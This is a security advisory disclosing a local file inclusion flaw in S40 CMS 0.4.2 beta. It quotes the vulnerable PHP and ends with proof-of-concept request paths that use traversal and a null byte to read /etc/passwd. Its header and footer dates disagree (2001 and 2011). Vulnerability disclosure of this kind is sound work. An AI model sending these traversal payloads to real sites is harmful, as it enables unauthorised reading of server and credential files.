S40 CMS 0.4.2b – Local File Inclusion
[Security Advisory Details: 07/04/2001] [Script] S40 CMS 0.4.2 Beta [Location] http://s40.biz/?p=download [Vulnerability] Local File Inclusion [Original Adv] http://y-osirys.com/security/exploits/id27 [Author] Giovanni Buzzin, "Osirys" [Site] y-osirys.com [Contact] osirys[at]autistici[dot]org ------------------------------------------------------------------------------------------------------------ [CMS Description] S40 CMS is FREE Content Management System S40 CMS 0.4 beta is lightwieght flat file CMS written on PHP, suitable for small and medium sites. S40 is open-source MIT-license CMS developed by AWEN art studio Ltd. S40 is fast and easy to customize system with build-in installer. ------------------------------------------------------------------------------------------------------------ [Security Flaw] S40 CMS is prone to Local File Inclusion vulnerability because of poor security checks and bad input sanitization: GET variables are not properly sanitized before being included via require() PHP function. [code:index.php] <?php ob_start("ob_gzhandler"); // comment this line to disable gzip compression require "inc/config.php"; require "inc/langs/".$s40[lang] .".php"; if ($s40[installed]){ require "inc/functions.php"; checkinstall(); require page($_GET[p],$_GET[c],$_GET[g],$_GET[gp]); .... [/code] Having a quick look at page() function, the security issue is clear: $pid ($_GET['p']), is not sanitized or passed through a valid regular expression before being returned to require() function of index.php file. [code:/inc/functions.php:page():line 13] function page($pid,$cid,$gid,$gp){ if(!isset($pid)){ $p = "index"; return "data/".$p.".page.php"; }else{ if (isset($pid) and isset($cid)){ if(!file_exists("data/".$pid.".child.".$cid.".php")){ return "data/404.inc"; }else{ $p = $pid; $c = $cid; return "data/".$p.".child.".$c.".php"; } }else{ if(!file_exists("data/".$pid.".page.php")){ return "data/404.inc"; }else{ $p = $pid; return "data/".$p.".page.php"; } } } } .... [/code] ------------------------------------------------------------------------------------------------------------ [Exploit] The security issue can be exploited sending a valid path via GET request. Null Byte must be used in order to exploit this LFI. PoC : /[cms_path]/?p=[local_file]%00 /[cms_path]/?p=/../../../../../../../etc/passwd%00 ------------------------------------------------------------------------------------------------------------ [Credits] Credit goes to Giovanni Buzzin, "Osirys" for the discover of this vulnerability. (Meglio) ------------------------------------------------------------------------------------------------------------ [END: 07/04/2011] |